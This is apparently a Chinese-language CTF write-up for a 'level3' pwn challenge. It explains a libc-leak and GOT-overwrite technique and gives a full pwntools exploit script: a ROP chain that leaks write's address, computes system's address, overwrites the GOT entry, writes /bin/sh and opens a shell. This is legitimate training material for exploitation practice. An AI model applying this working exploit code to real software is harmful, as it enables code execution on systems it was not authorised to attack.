PS:
libc.so中对应的函数的偏移和程序中的got表的偏移是对应的
在这种套路的题目中:
主要思路,通过泄露地址和相对偏移,计算systemgot表的位置,然后再一直调用了的函数(题目中是write)的plt表中将指向的got表项改成system的,如果程序还会指执行原本的函数,那么在修改之后就会调用system函数,就达到了我们要的结果
程序在本机调试的时候,要注意用的libc.so的库不一样,所以在写exp的时候,我们要先用我们本机中的libc.so中的数据调试,在进行提交的时候,将相应的偏移量改成题目中给的libc.so的
先拿到文件,可以明显的看到.rar,虽然还有后面的一部分,但是实际上还是rar
我们还是用file看一下
然后我们修改后缀名,解压压缩包,得到一个可执行文件(level3和一个libc-2.19.so)
同时为了便于调试,我们通过ldd查看程序调用的是本机的哪个libc,并且把这个库复制的我们当前文件夹下
在exp中,我们需要将整个程序运行两次——第一次用来泄露信息,第二次进行system的调用(借鉴之前的sctf-pwn200的思路)
第一次用write和read函数来进行地址的泄露和plt表的修改,然后通过在vulnerable函数调用完成之后返回main函数,进行第二次运行,因为在第一次的时候,plt表已经改写成system的地址,所以在write或者read调用的时候实际上调用的是system,所以拿到shell
checksec:
got表是可写的
然后可以看到 got表是可以改写的
整个函数可以改写的部分是最后一栏
!/usr/bin/env python
encoding: utf-8
from pwn import *
proc_name = './level3'
proc_elf = ELF(proc_name)
io = process(proc_name)
context.log_level = 'debug'
print proc.pidof(io)[0]
raw_input("debug")
libc2_system = 0x00040310
libc2_write = 0x000DAFE0
libc6_system = 0x0003AD80
libc6_write = 0x000D5C70
read_plt = 0x08048310
write_plt = 0x8048340
write_got_plt = 0x0804a018
buf = 0x1111
pop4 = 0x08048518
function = 0x08048495
bin_sh_addr = 0x804a010
payload1 = 'a'*0x88
payload1 += p32(buf)#ebp
payload1 += p32(write_plt)#
payload1 += p32(pop4)
payload1 += '\x01\x00\x00\x00' + p32(write_got_plt) + '\x04\x00\x00\x00'
payload1 += p32(buf)#ebp
payload1 += p32(read_plt)
payload1 += p32(pop4)
payload1 += '\x00\x00\x00\x00' + p32(write_got_plt) + '\x04\x00\x00\x00'
payload1 += p32(buf)#ebp
payload1 += p32(read_plt)
payload1 += p32(pop4)
payload1 += '\x00\x00\x00\x00' + p32(bin_sh_addr) + '\x04\x00\x00\x00'
payload1 += p32(function)#ebp
payload1 += p32(write_plt)
payload1 += p32(write_plt)
payload1 += p32(bin_sh_addr)
io.recvuntil("Input:\n")
io.send(payload1)
leak_addr = io.recv()[-4:]
leak_addr_hex = u32(leak_addr)
print "leak_addr : "
print leak_addr_hex
real_system2 = leak_addr_hex - libc2_write + libc2_system
real_system6 = leak_addr_hex - libc6_write + libc6_system
print "system addr"
real_system_send6 = p32(real_system6)
io.clean()
io.send(real_system_send6)
payload3 = '/bin/sh'+'\x00'
io.sendline(payload3)
io.send(p32(real_system2))
io.interactive()
整个过程
准备工作
填充栈
覆盖ebp
转到开始地址:write_plt
第一步:泄露地址
用write函数,传入write_got_plt 的地址,然后打印出来
第二步:改写write的got表
第三步:将/bin/sh写入参数,准备传给system
注意:
- 写/bin/sh的时候,要注意程序中那些部分可以写,哪些部分不能写
- 写完/bin/sh的之后,要注意在后面加上 '\x00'
注意:
- 在io.send()和io.recv()的顺序需要注意,避免在recv之前就发送了send
-